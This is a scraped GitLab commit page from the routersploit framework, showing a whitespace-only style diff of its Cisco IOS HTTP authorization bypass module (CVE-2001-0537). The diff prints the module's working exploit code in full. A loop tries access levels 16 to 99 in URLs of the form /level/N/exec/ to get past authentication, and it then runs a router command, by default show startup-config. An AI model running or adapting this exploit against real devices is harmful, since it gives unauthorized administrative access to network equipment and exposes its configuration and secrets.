Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
097491e4
Commit
097491e4
authored
Apr 18, 2017
by
Renos Stoikos
Committed by
GitHub
Apr 18, 2017
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
PEP 8
PEP 8
parent
da066d62
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
10 additions
and
10 deletions
+10
-10
cisco_ios_http_authorization_bypass.py
...les/exploits/cisco/cisco_ios_http_authorization_bypass.py
+10
-10
No files found.
routersploit/modules/exploits/cisco/cisco_ios_http_authorization_bypass.py
View file @
097491e4
...
@@ -15,16 +15,16 @@ class Exploit(exploits.Exploit):
...
@@ -15,16 +15,16 @@ class Exploit(exploits.Exploit):
"""
"""
This exploit targets a vulnerability in the Cisco IOS HTTP Server.
This exploit targets a vulnerability in the Cisco IOS HTTP Server.
By sending a GET request for the url "http://ip_address/level/{num}/exec/..",
By sending a GET request for the url "http://ip_address/level/{num}/exec/..",
it is possible to bypass authentication and execute any command.
it is possible to bypass authentication and execute any command.
Example: http://10.0.0.1/level/99/exec/show/startup/config
Example: http://10.0.0.1/level/99/exec/show/startup/config
"""
"""
__info__
=
{
__info__
=
{
'name'
:
'Cisco IOS HTTP Unauthorized Administrative Access'
,
'name'
:
'Cisco IOS HTTP Unauthorized Administrative Access'
,
'description'
:
'HTTP server for Cisco IOS 11.3 to 12.2 allows attackers '
'description'
:
'HTTP server for Cisco IOS 11.3 to 12.2 allows attackers '
'to bypass authentication and execute arbitrary commands, '
'to bypass authentication and execute arbitrary commands, '
'when local authorization is being used, by specifying a high access level in the URL.'
,
'when local authorization is being used, by specifying a high access level in the URL.'
,
'authors'
:
[
'authors'
:
[
'Author'
,
'renos stoikos <rstoikos[at]gmail.com>'
# routesploit module
'Author'
,
'renos stoikos <rstoikos[at]gmail.com>'
#
routesploit module
],
],
'references'
:
[
'references'
:
[
'http://www.cvedetails.com/cve/cve-2001-0537'
,
'http://www.cvedetails.com/cve/cve-2001-0537'
,
...
@@ -34,21 +34,21 @@ class Exploit(exploits.Exploit):
...
@@ -34,21 +34,21 @@ class Exploit(exploits.Exploit):
],
],
}
}
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
# target address
target
=
exploits
.
Option
(
''
,
'Target address e.g. http://192.168.1.1'
,
validators
=
validators
.
url
)
#
target address
port
=
exploits
.
Option
(
80
,
'Target port'
)
# default port
port
=
exploits
.
Option
(
80
,
'Target port'
)
#
default port
show_command
=
exploits
.
Option
(
'show startup-config'
,
'Command to be executed e.g show startup-config'
)
show_command
=
exploits
.
Option
(
'show startup-config'
,
'Command to be executed e.g show startup-config'
)
access_level
=
None
access_level
=
None
@mute
@mute
def
check
(
self
):
def
check
(
self
):
for
num
in
range
(
16
,
100
):
for
num
in
range
(
16
,
100
):
url
=
"{}:{}/level/{}/exec/-/{}"
.
format
(
self
.
target
,
self
.
port
,
num
,
self
.
show_command
)
url
=
"{}:{}/level/{}/exec/-/{}"
.
format
(
self
.
target
,
self
.
port
,
num
,
self
.
show_command
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
response
=
http_request
(
method
=
"GET"
,
url
=
url
)
if
response
.
status_code
==
200
:
if
response
.
status_code
==
200
:
self
.
access_level
=
num
self
.
access_level
=
num
return
True
# target is vulnerable
return
True
# target is vulnerable
return
False
# target is not vulnerable
return
False
# target is not vulnerable
def
run
(
self
):
def
run
(
self
):
if
self
.
check
():
if
self
.
check
():
print_success
(
"Target is vulnerable"
)
print_success
(
"Target is vulnerable"
)
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment